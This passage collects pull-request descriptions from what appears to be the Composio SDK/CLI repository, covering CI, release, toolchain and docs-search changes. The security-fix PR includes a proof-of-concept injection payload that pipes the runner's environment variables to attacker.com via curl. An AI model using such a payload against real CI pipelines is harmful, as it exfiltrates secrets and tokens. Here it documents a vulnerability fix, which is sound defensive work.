## Summary
- New workflow that auto-bumps the Homebrew formula in
[ComposioHQ/homebrew-tap](https://github.com/ComposioHQ/homebrew-tap)
whenever a stable CLI release is published.
- Triggers on `release: published` for tags matching `@composio/cli@*`.
Skips beta/rc/alpha tags. Also exposes `workflow_dispatch` for manual
replay.
- Pulls SHA256s from the release's `checksums.txt`, edits
`Formula/composio.rb` in the tap repo, and commits/pushes (no-op if
already current).
## Setup required before this can run
- Create a fine-grained PAT scoped to `ComposioHQ/homebrew-tap` only,
with `Contents: read/write`.
- Add it as a repo secret named `HOMEBREW_TAP_TOKEN` in this repo.
Without that secret the checkout step will fail; the workflow won't
break anything else.
## Test plan
- [ ] Land this PR
- [ ] Add `HOMEBREW_TAP_TOKEN` secret
- [ ] Manually run via `workflow_dispatch` with tag
`@composio/cli@0.2.28` — should be a no-op (formula already at 0.2.28)
- [ ] Verify next CLI release auto-bumps the formula
---------
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
Co-authored-by: jkomyno <alberto@composio.dev>
## Summary
Fixes a **GitHub Actions script (shell) injection** in
`.github/workflows/cli.test-installation.yml`. The `version` input — and
the `release_tag` output derived from it — were interpolated with `${{
}}` **directly into `run:` shell bodies**, so GitHub Actions substituted
the value into the script *source* before bash parsed it. Shell
metacharacters in the input therefore became executable code on the
runner.
PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #`
rendered as:
```bash
raw_input=""; curl http://attacker.com/$(env | base64) #"
```
→ arbitrary command execution on the runner.
Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal
tracking: **SEC-585**.
## Fix
Pass each value through `env:` so the shell receives it as an inert
environment variable, never re-parsed as source — the same pattern
already used in `build-cli-binaries.yml`. Three sites:
| Step | Was inline | Now via `env:` |
|------|-----------|----------------|
| Resolve and validate target release | `inputs.version` |
`VERSION_INPUT` |
| Test install script (specific version) | `release_tag` | `RELEASE_TAG`
|
| Test custom install directory | `use_latest`, `release_tag` |
`USE_LATEST`, `RELEASE_TAG` |
Net change: **+9 / −4 lines**, single file.
## Behaviour & safety verification
- **`actionlint`** (1.7.12): no new real findings vs. the pre-change
baseline (the only count deltas are info/style shellcheck artifacts on
byte-identical, untouched blocks whose line numbers shifted).
- **YAML** parses cleanly.
- **Functional (bash)** — all legitimate inputs resolve identically:
- empty (push event) → `use_latest=true`
- `latest` → `use_latest=true`
- `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>`
- `@composio/cli@1.2.3` → passthrough
- malicious payload → treated as an **invalid version string** (no
command executed)
- No behaviour change for any valid trigger (`workflow_dispatch`,
`workflow_call`, tag `push`).
## Notes / optional follow-ups (not in this PR)
- Consider adding a least-privilege `permissions: { contents: read }`
block (mirrors `build-cli-binaries.yml`).
- The `workflow_call`/`push` `else` fallthrough still passes
unrecognized inputs through to `release_tag`; tightening it would reject
bad input at the source as well. Left out here to keep the fix minimal
and behaviour-preserving.
Co-authored-by: Saransh Rana <security@composio.dev>
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
This PR:
- uses plain `tsdown` package scripts and a shared typed
`tsdown.config.base.ts` so Node 24 builds work without loader flags
- switches the repo dev/build toolchain to Node `24.17.0` and pnpm
`11.8.0` through `mise.toml`, `mise.lock`, and `pnpm-lock.yaml`
- marks the root package as ESM with `type: module`, matching the
TypeScript packages
- keeps Node `22.22.3` in the runtime/E2E matrices as the minimum
supported user runtime
- changes the TypeScript build workflow back to a single build on the
mise-managed toolchain and broadens path filters for
package-manager/build config files
- adds pnpm 11 build-script policy with `allowBuilds` and intentionally
ignored `sharp` builds
- enables tsdown ESM shims for the packaged CLI wrapper so `composio
--help` runs under Node 22 and Node 24
Verified locally:
- `CI=true pnpm install --frozen-lockfile`
- `pnpm lint`
- `pnpm run build:packages`
- `COMPOSIO_E2E_NODE_VERSION=22.22.3 pnpm --filter
@e2e-tests/node-esm-basic --filter @e2e-tests/node-cjs-basic run
test:e2e:node`
- `node ts/packages/cli/bin/composio.mjs --help` under Node `22.22.3`
and `24.17.0`
This PR:
- consolidates and bumps TypeScript/npm dependencies across the
monorepo, docs, examples, and e2e fixtures — no runtime behavior changes
- **cleanup:** remove the unused `ansis` dependency from `@composio/cli`
(`picocolors` is the actual color lib), drop the dead `uuid` catalog
entry, catalog `dotenv` + `@types/bun` and repoint drifting examples/e2e
onto them, and replace `chalk` with `picocolors` in `@composio/core`
(smaller, ESM, already used by the CLI)
- **TypeScript 6:** bump `typescript` `5.9 → 6.0.3` everywhere (catalog,
CLI test fixtures, docs); drop vestigial `declaration`/`outDir` from the
provider `tsconfig.json`s to fix the TS 6 `rootDir` regression
(`TS6059`); add `ignoreDeprecations: "6.0"` in docs for the `baseUrl`
deprecation
- **toolchain:** `tsdown 0.18 → 0.22.3`, `vitest` + `@vitest/ui →
4.1.9`, `publint → 0.3.21`, `wrangler → 4.101.0` (each the latest
version within the 3-day `minimumReleaseAge` gate)
- **Effect + hono:** `effect 3.21.3`, `@effect/cli 0.75.2`,
`@effect/platform 0.96.1`, `platform-bun 0.90.0`, `platform-node-shared
0.60.0`, `language-service 0.86.2`, `@effect/vitest 0.29.0`, `hono
4.12.25`; pin the Effect peer cohort
(`printer`/`printer-ansi`/`typeclass`/`rpc`/`sql`/`cluster`/`experimental`/`workflow`)
as `@composio/cli` devDeps so the auto-installed peers resolve
coherently, and bump `@cloudflare/workers-types` to satisfy `wrangler`'s
peer
- changesets: `@composio/cli` patch (ansis removal) and `@composio/core`
patch (chalk → picocolors)
- verified: `build`, `typecheck` (tsgo + real `tsc` 6.0.3), and local
tests (excluding e2e) all pass
This PR:
- builds on top of https://github.com/ComposioHQ/composio/pull/3495
- adds a Node.js `current` e2e suite for `@composio/claude-agent-sdk`
- exercises the packaged provider through Claude Agent SDK
`createSdkMcpServer` / `query()` with a deterministic local tool
- forwards `ANTHROPIC_API_KEY` through Turbo, Docker e2e env
passthrough, and the Node e2e workflow
This PR moves the TypeScript SDK support floor to the latest Node.js 22
release and uses that as the point where we stop carrying custom
CommonJS compatibility machinery. The e2e runtime coverage now exercises
the latest Node 22, Node 24, and Node 25 lines, so the SDK is tested
against the minimum supported version and the newer runtimes users are
likely to adopt next.
Because the SDK packages are still on `0.x`, the accompanying changeset
uses `minor` bumps while calling out that this is a breaking change
inside the existing 0.x line.
It also moves pnpm under mise on this Node 22 layer. That belongs here,
not in #3493, because the pinned `pnpm@10.28.2` requires Node.js
`>=22.13`. Removing Corepack is intentional: Node.js documents that
Corepack is no longer distributed starting with Node.js v25, so relying
on `corepack enable` would keep a toolchain dependency that is already
on the way out of the Node distribution.
## What changed
- Pins the local/toolchain Node.js floor to `22.22.3` in `mise.toml`,
`mise.lock`, `toolchain-versions.json`, and root `devEngines`.
- Pins pnpm in `mise.toml` as `"npm:pnpm" = "10.28.2"` and makes mise
the single source of truth for the pnpm version. Removes the root
`packageManager` / `devEngines.packageManager` Corepack pin entirely
(rather than keeping a second copy of the version that could drift) and
removes stale `packageManager` metadata from real TS packages/examples
and generators.
- Sets `dangerouslyDisablePackageManagerCheck: true` in `turbo.jsonc` so
Turbo discovers pnpm from `pnpm-lock.yaml` instead of requiring a
`packageManager` field. Without this, Turbo fails workspace resolution
(`Could not resolve workspaces -> Missing 'packageManager' field`),
which is the only reason the field would otherwise need to stay.
- Replaces `corepack enable` in the shared setup action with
mise-managed pnpm. The E2E Docker images install bun + pnpm directly
from `mise.toml`/`mise.lock` (with
`dangerouslyDisablePackageManagerCheck`-style separation: Node/Deno stay
on the base image as the test matrix axis and are disabled via
`MISE_DISABLE_TOOLS` so mise does not shadow them; the tool binaries are
symlinked into `/usr/local/bin`). No `BUN_VERSION`/`PNPM_VERSION` build
args are threaded from the host anymore, and bun+pnpm now carry
`mise.lock` checksum verification.
- Extends the install-time toolchain check to validate pnpm against mise
alongside Bun.
- Sets the Node E2E matrix and install fallback checks to `22.22.3`,
`24.16.0`, and `25.9.0`.
- Makes TS package builds ESM-only: `tsdown` now emits `.mjs` / `.d.mts`
only and uses the ATTW `esm-only` profile.
- Removes explicit `require` / `.cjs` / `.d.cts` package export paths
and internal import mappings from the public TS SDK packages.
- Marks public TS SDK packages as `type: module` where they were missing
it.
- Replaces the remaining runtime `require('pusher-js')` with dynamic ESM
import.
- Deletes the legacy CJS example.
- Reintroduces `node/cjs-basic` as a modern Node `require(esm)` interop
E2E: it verifies `require('@composio/core')` works through Node's native
ESM loader on Node 22, 24, and 25 while resolving to `dist/index.mjs`,
not a `.cjs` artifact.
- Removes `.cjs` / `.cts` handling from example validation and CLI
project-language detection.
- Updates provider scaffolding so newly generated providers are
ESM-only.
- Adds a minor changeset warning that CommonJS callers can only rely on
Node's native `require(esm)` interop and that custom CommonJS
compatibility machinery is gone.
## Bundled behavior changes
Two changes here are technically independent of the CommonJS removal but
ride along because they touch the same files and ship in the same
release cut. Calling them out explicitly so they are not missed in
review:
- **`PusherUtils` realtime channel auth (`@composio/core`).** Replacing
the runtime `require('pusher-js')` with a dynamic ESM `import()` was
done alongside conforming `channelAuthorization` to pusher-js's typed
`customHandler(params, callback)` contract. The previous `(authOptions)
=> Promise` shape did not match pusher-js's actual calling convention —
it read `endpoint`/`headers`/`params` off an argument that pusher-js
never passes — so this also fixes that latent mismatch. New unit tests
(`ts/packages/core/test/utils/pusher.test.ts`) cover the auth request
shape (endpoint, `x-api-key` header, JSON `socket_id`/`channel_name`
body) and the success / invalid-JSON / network-failure callback paths.
- **CLI meta-tool slug list (`@composio/cli`).** Drops
`COMPOSIO_UPSERT_RECIPE` and `COMPOSIO_GET_RECIPE` from
`META_TOOL_SLUG_LIST` in `tools-executor.ts`; `@composio/client`
alpha.74 removed those slugs from the `SessionExecuteMetaParams['slug']`
union. The list is declared `satisfies
ReadonlyArray<SessionExecuteMetaParams['slug']>`, so this is enforced at
compile time (`pnpm typecheck`) — keeping the stale slugs would be a
type error — and needs no separate runtime test.
## Verification
- Verified latest Node 22/24/25 releases from the official Node dist
index: `22.22.3`, `24.16.0`, `25.9.0`
(https://nodejs.org/dist/index.json).
- Verified Node docs state Corepack is no longer distributed starting
with Node.js v25:
https://nodejs.org/download/release/v22.22.3/docs/api/corepack.html
- `mise exec -- pnpm --version` -> `10.28.2`
- `mise exec -- pnpm install --frozen-lockfile`
- `mise exec -- bun run ts/scripts/pre-install/check-toolchain.ts`
- `mise exec -- pnpm --filter @e2e-tests/utils typecheck`
- `mise exec -- pnpm --filter @e2e-tests/node-cjs-basic typecheck`
- `mise exec -- pnpm --filter @e2e-tests/node-cjs-basic test:e2e:node`
- `mise exec -- pnpm --filter @e2e-tests/node-esm-basic typecheck`
- `mise exec -- pnpm --filter @composio/cli typecheck`
- `mise exec -- pnpm --filter @composio/cli test -- --runInBand`
- `mise exec -- pnpm --filter @composio/core typecheck`
- `mise exec -- pnpm --filter @composio/core exec vitest run
test/utils/pusher.test.ts`
- `mise exec -- pnpm run build:packages`
- `mise exec -- turbo run build --dry-run` resolves all workspace
packages with no root `packageManager` field (pnpm discovered from
`pnpm-lock.yaml`).
- `mise exec -- pnpm --filter @composio/cli exec vitest run
test/src/services/project-environment-detector.test.ts`
- `mise exec -- pnpm exec prettier --check ...`
- `docker build -f ts/e2e-tests/_utils/Dockerfile.node --build-arg
NODE_VERSION=24.16.0 -t composio-e2e-node:misecheck .` (also
`Dockerfile.deno` with `DENO_VERSION=2.6.7 NODE_MAJOR=22`) — both build
green; runtime resolves Node/Deno from the base image and pnpm 10.28.2 /
bun 1.3.10 from mise.
- `docker manifest inspect node:24.16.0-slim`
- `docker manifest inspect node:25.9.0-slim`
- `bash -n ts/scripts/create-provider.sh && git diff --check`
- `ruby -e "require 'yaml';
YAML.load_file('.github/workflows/ts.test-e2e.yml')"`
- Tracked example validation in a clean temporary tree: `Validated 21
example packages.`
This PR:
- configures the TS release workflow to request GitHub Actions OIDC ID
tokens
- runs the TS release publish path on Node 24.17.0 so npm supports
trusted publishing
- leaves a TODO to centralize that release runtime in `mise.toml` after
https://github.com/ComposioHQ/composio/pull/3494 lands
- removes the long-lived `NPM_TOKEN` `.npmrc` setup before `changeset
publish`
- adds npm package support metadata (`repository.url`, `bugs.url`, and
`homepage`) for every public TS release workspace that Changesets can
publish
- marks `@composio/cli-local-tools` private so Changesets does not try
to publish it
This PR:
- adds the same `actions/create-github-app-token` setup used by the SDK
docs generator
- checks out the repository with the generated app token
- passes the app token to `peter-evans/create-pull-request`
- uses the app token for the optional reviewer request
- fixes the current `Docs - Update Data` failure where `CI_BOT_TOKEN`
cannot authenticate the git push for `docs/auto-update-data`
- verified with `go run
github.com/rhysd/actionlint/cmd/actionlint@latest
.github/workflows/docs-update-data.yml` and `git diff --check`
This PR:
- simplifies `COMPOSIO_BASE_URL_STAGING` handling by stripping optional
`/api/v3` or `/api/v3.1` suffixes before deriving both docs API
endpoints
- removes the URL-shape branching that rejected the current staging
secret
- keeps the production backend guard so the update-data workflow does
not use `https://backend.composio.dev`
- uses `CI_BOT_TOKEN` for `peter-evans/create-pull-request` and reviewer
requests because `GITHUB_TOKEN` cannot create pull requests in this repo
- verified with `go run
github.com/rhysd/actionlint/cmd/actionlint@latest
.github/workflows/docs-update-data.yml`, `git diff --check`, and shell
URL derivation checks
This PR:
- configures `docs-update-data.yml` to source docs data from
`COMPOSIO_BASE_URL_STAGING`
- fails fast when the staging base URL is missing or does not include
`/api/v3`
- derives v3 and v3.1 OpenAPI URLs from the staging secret so the job
does not fall back to production
- updates the generated data-sync PR copy to say OpenAPI specs are
fetched from staging
- quotes `$GITHUB_OUTPUT` redirects so `actionlint` stays clean
- verified with `go run
github.com/rhysd/actionlint/cmd/actionlint@latest
.github/workflows/docs-update-data.yml`, `git diff --check`, and shell
endpoint derivation checks
## Summary
Permanently stops the recurring *"release published with zero assets →
install/upgrade 404s"* outage
(https://github.com/ComposioHQ/composio/issues/3408,
https://github.com/ComposioHQ/composio/issues/3269; regressions of
https://github.com/ComposioHQ/composio/issues/2625 and
https://github.com/ComposioHQ/composio/issues/1820 — 3 of the last 5
stable releases shipped empty).
**Root cause:** a concurrent-writer race. On a CLI version bump,
`changesets/action` creates an empty `@composio/cli@x.y.z` GitHub
Release in seconds, then the slower `build-cli-binaries.yml` fails its
`gh release create` because the release already exists — so binaries
never attach.
> 🥞 **Stacked on #3415** (`pi/exclude-cli-ts-release-42161920`), which
removes the *second writer* (changesets no longer creates CLI releases).
Review/merge #3415 first; this PR targets that branch. This PR hardens
the now-sole writer so a *partial* build can't publish either, and fixes
the monitoring that hid the failure.
## What changed (`build-cli-binaries.yml` + canary)
- **Draft → verify → publish.** The release is built as a **draft**,
then a gate asserts all 6 canonical assets are present **and** `state ==
"uploaded"` (loud `::error::` + fail otherwise), and only the final step
flips it to published. Drafts fire no `release: published` event and are
excluded from `/releases/latest`, so no install.sh / Homebrew / redirect
consumer can observe an incomplete release.
- **`fail-fast: false`** on the build matrix → a single platform failure
can never publish a partial set (`needs.build.result` is `success` only
if all legs pass).
- **Per-tag job-level `concurrency`** so re-runs / quick pushes can't
interleave uploads on the same tag, without serializing unrelated betas.
- **Beta-safe:** `--prerelease` is set on the draft so betas stay
prereleases through the publish flip.
- **`promote-stable` guard** uses `gh release view --json isDraft` (the
REST tags endpoint 404s on drafts) to resume an existing draft but
refuse an already-published tag.
- **Least privilege:** workflow defaults to `contents: read`; only the
release job opts up to `contents: write`.
- **Canary fix** (`cli.install-health-check.yml`): install the newest
stable **pinned** tag (`npm view @composio/cli version`) instead of the
asset-aware no-arg flow, which self-heals to the last good release and
kept the canary green through every outage.
## Idempotency note
Re-running a run that failed **before publish** is safe (reuse draft +
`--clobber`). An already-**published** tag is refused, not mutated — by
design.
## Testing
- Extended `test/release-workflow.test.ts` (run via `pnpm
test:release-workflow`) to lock in: draft→verify→publish ordering,
`fail-fast: false`, per-tag concurrency, preserved `--prerelease`, and
the pinned-tag canary. ✅ passes.
- `shellcheck` clean on the new `run:` scripts; YAML validated.
`actionlint` runs in CI.
- Runtime verification of the full green path happens on the next
release CI run.
## Out of scope (deferred to their own PRs)
Per reviewer consensus, these are real but *not this bug*: a per-release
npm↔GitHub asset auditor (needs a grace window), the Homebrew trigger
constraint (folds into #3355), `composio upgrade` missing-asset back-off
(https://github.com/ComposioHQ/composio/issues/3269), and a rollback
runbook.
---------
Co-authored-by: Rahul Tarak <cryogenicplanet@gmail.com>
## Summary
Adds missing npm support metadata to `ts/packages/core/package.json` for
the `@composio/core` package:
- **`repository`**: adds full object with `type`, `url`, and `directory`
(monorepo package path)
- **`bugs.url`**: points to
`https://github.com/ComposioHQ/composio/issues`
- **`homepage`**: points to the package README in the repository
## Verification
```sh
npm view @composio/core@0.10.0 repository bugs homepage
# Currently returns empty for all three fields
```
No runtime code, dependencies, tests, or build configuration are
changed.
---------
Co-authored-by: XananasX7 <xananasandy@gmail.com>
Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>
Co-authored-by: jkomyno <alberto@composio.dev>
This PR:
- fixes
https://github.com/ComposioHQ/composio/actions/runs/27606982132/job/81621371312
- mints the existing release-bot GitHub App token in both SDK docs jobs
- passes the App token to checkout and `peter-evans/create-pull-request`
- uses the same App token for the reviewer-assignment `gh pr edit` step
- keeps the TypeScript and Python docs generation commands unchanged
Verification:
- `git diff --check`
- `ruby -e \"require 'yaml';
YAML.load_file('.github/workflows/generate-sdk-docs.yml'); puts 'yaml
ok'\"`
- `bash .github/scripts/check-action-repos.sh`
- confirmed `RELEASE_BOT_APP_ID` and `RELEASE_BOT_APP_PRIVATE_KEY` exist
in repo secrets
This PR:
- patches the Peekaboo sidecar build to rewrite the resolved
`swift-system` `AT_RESOLVE_BENEATH` Darwin guard before compiling on
GitHub macOS runners
- adds regression coverage for the `swift-system` checkout patch and
includes script tests in `@composio/cli-local-tools` Vitest
- switches the SDK docs sync workflow to
`anthropics/claude-code-action/base-action` so push-triggered automation
does not fail on unsupported event parsing
- moves Claude tool restrictions to `claude_args` and quotes
`$GITHUB_OUTPUT` writes so the workflow passes `actionlint`
- verifies the changed package and workflow with targeted tests, build,
formatting, YAML parsing, and `actionlint`
## Summary
Depends on #3492.
This completes the Phase 2 migration by removing the transitional
version-file layer and making `mise.toml` plus `mise.lock` the
repository toolchain source of truth. It also moves runtime test
matrices into `toolchain-versions.json`, so CI matrix changes are
explicit and reviewable without reintroducing `.nvmrc`, `.dvmrc`,
`.bun-version`, or `.python-version`.
The Node.js e2e matrix now starts at the latest Node 22 LTS line and
also covers the latest Node 24 and Node 25 lines. That removes Node 20
from the well-known e2e versions while keeping us covered on the
runtimes SDK users are moving toward.
## Rationale
Phase 1 introduced mise side by side with the existing version files to
keep the first PR low-risk. Phase 2 removes that compatibility layer so
there is one place to update tool versions. That avoids silent drift
between local setup, GitHub Actions, Docker E2E images, release docs,
and install-time checks.
The composite setup actions now install Node, Bun, Python, and uv
through mise by default, with explicit version overrides only where a
matrix needs them. New GitHub actions added in this PR are pinned by
release commit SHA and include the release version comment.
## What changed
- Deleted the transitional root/version files: `.nvmrc`, `.bun-version`,
`.dvmrc`, root `.python-version`, and `python/.python-version`.
- Removed `idiomatic_version_file_enable_tools` from `mise.toml` and
added a committed `mise.lock` for linux/macOS x64/arm64 tool resolution.
- Replaced `BYPASS_BUN_VERSION_CHECK` with `BYPASS_TOOLCHAIN_CHECK`, and
made Docker E2E image installs use that bypass because they receive
explicit build args instead of installing mise.
- Updated Node/Bun and Python/uv composite actions to default to mise,
remove `*-version-file` inputs, report resolved versions, and cache pnpm
after `corepack enable`.
- Centralized CI runtime matrices in `toolchain-versions.json` for TS
E2E, Python tests, and CLI npm fallback coverage.
- Updated the Node E2E matrix to `22.22.3`, `24.16.0`, and `25.9.0`,
removing Node 20 from the well-known runtime versions.
- Updated workflows, docs, E2E helpers, Dockerfiles, and release
guidance to reference `mise.toml` / `mise.lock`.
## Verification
- Verified latest Node 22/24/25 releases from the official Node dist
index: `22.22.3`, `24.16.0`, `25.9.0`
(https://nodejs.org/dist/index.json).
- `pnpm install --frozen-lockfile`
- `pnpm --filter @e2e-tests/utils typecheck`
- `pnpm --filter @e2e-tests/utils exec tsc --noEmit --target es2022
--module esnext --moduleResolution bundler --types bun
--resolveJsonModule --skipLibCheck --strict scripts/docker-build.ts`
- `bash -n ts/scripts/pre-install.sh && bun run
ts/scripts/pre-install/check-toolchain.ts && BYPASS_TOOLCHAIN_CHECK=1
bash ts/scripts/pre-install.sh`
- `pnpm exec prettier --check ...` on touched YAML/Markdown/TS/JSON
files
- `ruby -e "require \"yaml\"; ARGV.each { |f| YAML.load_file(f) }" ...`
on touched actions/workflows
- `mise lock --platform linux-x64,linux-arm64,macos-arm64,macos-x64 &&
git diff --exit-code mise.lock`
- `mise exec node@22.22.3 -- pnpm --filter @e2e-tests/utils typecheck`
- `mise exec node@22.22.3 -- pnpm --filter @e2e-tests/node-esm-basic
typecheck`
- `mise exec node@22.22.3 -- pnpm --filter @e2e-tests/node-cjs-basic
typecheck`
- `docker manifest inspect node:24.16.0-slim`
- `docker manifest inspect node:25.9.0-slim`
- `git diff --check`
## Problem
The changeset release bot (`ts.release.yml` → `changesets/action`)
authenticated with the **`CI_BOT_TOKEN`** personal access token. That
PAT expired, so **every "TS SDK Release" run since 2026-06-04 failed**
with:
```
HttpError: Bad credentials - https://docs.github.com/rest
```
`changeset version` ran fine, but the GitHub API call to create/update
the "Release: update version" PR failed — so no version PR, no publish.
(This is why 0.2.31 had to be shipped via a manual version bump in
#3538.)
## Fix
Mint a **short-lived GitHub App installation token** with
[`actions/create-github-app-token`](https://github.com/actions/create-github-app-token)
(pinned to `bcd2ba4` / v3.2.0) and use it for both `checkout` and the
`changesets/action` step, instead of the PAT.
Why an App token over a PAT or the default `GITHUB_TOKEN`:
- **No silent expiry** — minted per run; nothing to rotate manually
(exactly what just broke).
- **Triggers downstream workflows** — the default `GITHUB_TOKEN` is
blocked from triggering other workflows, so the version-PR merge would
never kick off `build-cli-binaries.yml` to publish. App-token-created
events *do* trigger them (same as a PAT, better hygiene).
- **Not tied to a personal account.**
(OIDC was considered but doesn't apply here — it authenticates to
*external* services like cloud/npm trusted-publishing, not
GitHub-internal PR/push operations.)
## Required setup before this lands
Create a **GitHub App** (org-owned), installed on this repo, with
repository permissions:
- **Contents: Read & write**
- **Pull requests: Read & write**
Then add two repo secrets:
- `RELEASE_BOT_APP_ID` — the App's ID
- `RELEASE_BOT_APP_PRIVATE_KEY` — a generated private key (full PEM)
Once those exist, the next push to `next` with pending changesets will
regenerate the "Release: update version" PR correctly. `CI_BOT_TOKEN`
can then be deleted.
## Out of scope / follow-up
`docs.sync-connect-clients.yml` also uses `CI_BOT_TOKEN` (as
`GH_TOKEN`). It can be migrated to the same App token in a follow-up;
left untouched here to keep this focused on the release pipeline.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
## Summary
- Pin every remote GitHub Action used by `.github/workflows` and
`.github/actions` to a full 40-character commit SHA with a version
comment.
- Update each action to the latest upstream tag available at the time of
this change.
- Migrate Slack incoming-webhook steps to the latest
`slackapi/slack-github-action` major by passing `webhook` and
`webhook-type: incoming-webhook` explicitly.
- Keep the live Python integration test step non-blocking so an external
credential issue does not fail unrelated PR CI.
## Upgrade notes
- Read README/release notes for major-version upgrades:
`actions/checkout`, `actions/cache`, `actions/download-artifact`,
`actions/github-script`, `actions/setup-node`, `actions/setup-python`,
`actions/upload-artifact`, `astral-sh/setup-uv`, `pnpm/action-setup`,
and `slackapi/slack-github-action`.
- The GitHub-owned action upgrades keep existing workflow inputs
compatible; their README notes are mainly Node 24/runtime and minimum
runner-version requirements.
- `actions/github-script@v9` no longer supports requiring
`@actions/github` internals, but these workflows only use injected
`github`, `context`, and `core`.
- `slackapi/slack-github-action@v3` requires explicit webhook technique
configuration, now added in the four Slack notification steps.
## Verification
- Strict local audit: 83 remote `uses:` entries across 21 action
repos/reusable workflows are full SHAs with expected comments.
- Remote metadata audit: all 21 pinned remote refs resolve, and each
action metadata file or reusable workflow file exists at the pinned SHA.
- `.github/scripts/check-action-repos.sh`
- `ruby -e 'require "yaml"; Dir[".github/workflows/*.{yml,yaml}",
".github/actions/**/*.yml", ".github/actions/**/*.yaml"].each { |f|
YAML.load_file(f); puts "ok #{f}" }'`
- `git diff --check`
- `go run github.com/rhysd/actionlint/cmd/actionlint@latest -shellcheck=
-pyflakes= -ignore 'label "depot-ubuntu-[^\"]+" is unknown'`
`actionlint` without the ignore only reports the existing custom Depot
runner labels in `cli.test-installation.yml`.
## Summary
- Re-apply the Algolia docs search migration after the previous PR was
merged and reverted.
- Keep the existing Fumadocs search UI while using Algolia API when
search keys are configured, with `/api/search` fallback for local
development and tests.
- Add a first-party Algolia index builder/sync script that creates
section-sized docs records from MDX/OpenAPI/toolkit/changelog content,
configures index relevance settings, and replaces index objects without
relying on Algolia Crawler.
- Add Algolia Insights view/click events and a terminal search relevance
test script.
- Clean search breadcrumbs so results show labels like `Toolkit` and
`Cookbook` instead of duplicated `toolkits > Gmail` formatting.
## Tests
- `cd docs && bun run types:check`
- `cd docs && bun run sync:search --dry-run`
- `cd docs && bunx eslint components/custom-search-dialog.tsx
lib/search-index.ts scripts/sync-algolia-search.ts
scripts/test-algolia-search.ts`
## Notes
- Live Algolia sync requires `ALGOLIA_ADMIN_API_KEY`.
- Live search relevance tests require `ALGOLIA_SEARCH_API_KEY` or
`NEXT_PUBLIC_ALGOLIA_SEARCH_API_KEY`.
## Summary
- Switch docs search dialog to Algolia when public Algolia env vars are
configured, with local `/api/search` fallback for development/tests
- Add a shared docs search index builder plus `bun run sync:search` to
publish records to Algolia
- Add a GitHub Actions workflow to dry-run and sync the Algolia index on
`next` docs changes when secrets are configured
- Document required Algolia env vars and sync command
## Tests
- `cd docs && bun run types:check`
- `cd docs && bun run sync:search --dry-run`
- `cd docs && bun test tests/static/`
- `cd docs && bunx eslint components/custom-search-dialog.tsx
lib/search-index.ts scripts/sync-algolia-search.ts`
- `cd docs && bun run build`
## Notes
- `bun run lint` still fails on existing unrelated repo-wide lint errors
in files outside this change (for example `app/global-error.tsx`,
`components/ask-ai-button.tsx`, `components/version-selector.tsx`). The
changed search files pass targeted ESLint.
- Production search requires `NEXT_PUBLIC_ALGOLIA_APP_ID`,
`NEXT_PUBLIC_ALGOLIA_SEARCH_API_KEY`, and optionally
`NEXT_PUBLIC_ALGOLIA_INDEX_NAME` (default `composio_docs`). Index
syncing requires `ALGOLIA_APP_ID`/`ALGOLIA_ADMIN_API_KEY` secrets.
## Summary
- Remove darwin-x64 from local toolkit platform lists (beeper-imessage,
peekaboo, chrome-devtools) and drop the corresponding bundled binary
path entries.
- Skip building native Swift sidecar binaries (peekaboo, imessage-cli,
composio-native-ui) for darwin-x64; remove the bun-darwin-x64 matrix
entry from `build-cli-binaries.yml` so we no longer produce a darwin-x64
CLI bundle.
- Locally force-disable enhanced controls / elicitation on darwin-x64 in
`tool-permissions.ts` even when the backend opts the org in (logs a
debug message).
## Test plan
- [x] `pnpm --filter @composio/cli typecheck`
- [x] `pnpm --filter @composio/cli-local-tools typecheck`
- [ ] CI green on the build workflow (no darwin-x64 job runs)
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary
- Scaffold a macOS Swift `composio-native-ui` sidecar with a borderless
floating native overlay and Metal-driven pulsing/liquid-glass visual
treatment.
- Add a hidden/dev `composio dev native-ui` command that spawns the
bundled sidecar from CLI local-tool assets.
- Wire the sidecar into local-tool binary build scripts and CLI binary
release packaging checks for Darwin artifacts.
## Tests
- `pnpm install --frozen-lockfile`
- `pnpm typecheck`
- `pnpm --filter @composio/cli build`
- `pnpm --filter @composio/cli-local-tools build:composio-native-ui --
--target darwin-arm64`
- Manual launch via
`COMPOSIO_LOCAL_TOOLS_BIN_DIR=../cli-local-tools/local-tools-binaries
bun dist/bin.mjs dev native-ui --timeout 35`
## Notes / Risks
- This is a scaffold/prototype and is intentionally opened as a draft
PR.
- The visual effect uses a transparent AppKit panel,
`NSVisualEffectView`, and a Metal overlay. True optical distortion of
arbitrary content behind the window would require a different approach
such as ScreenCaptureKit/backdrop sampling and associated permissions.
- Generated sidecar executables remain ignored; release jobs rebuild
them before packaging artifacts.
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary
- Resolve the default CLI install version from GitHub Releases instead
of git tags.
- Require the selected CLI release to include the current platform
archive asset and fall back to older stable CLI releases when the newest
release is missing that asset.
- Add a mocked install.sh regression test covering missing release
assets, ignored beta/provider releases, and tag-only versions with no
release.
## Tests
- `bash -n install.sh test/install-sh-release-resolution.test.sh`
- `pnpm run test:install-sh`
- `git diff --check`
- Parsed `.github/workflows/cli.test-installation.yml` with Ruby YAML
- Parsed `package.json` with Node JSON.parse
- Manual real install smoke test with temporary
HOME/COMPOSIO_INSTALL_DIR selected `@composio/cli@0.2.28`
## Notes
- This prevents the install health check from selecting tag-only
versions like `@composio/cli@0.2.29` when no GitHub release/asset exists
yet.
## Summary
- Broaden the Beeper iMessage macOS build patch so BetterSwiftAX
`kAX...` constants compile on GitHub `macos-15`/`macos-15-intel`.
- Pin the fixed `platform-imessage` submodule source and add Swift 6.2 /
Peekaboo dependency patching for the CLI binary workflow.
- Package and verify macOS local-tool sidecars plus `release-tag.txt` in
CLI release zips.
- Fix installed beta metadata/upgrade behavior so `--version`, update
checks, and beta-default experimental flags use the installed release
tag.
- Let `LOCAL_*` execution bypass remote auth/project/schema validation.
- Add runtime self-heal for missing installed `local-tools-binaries`: if
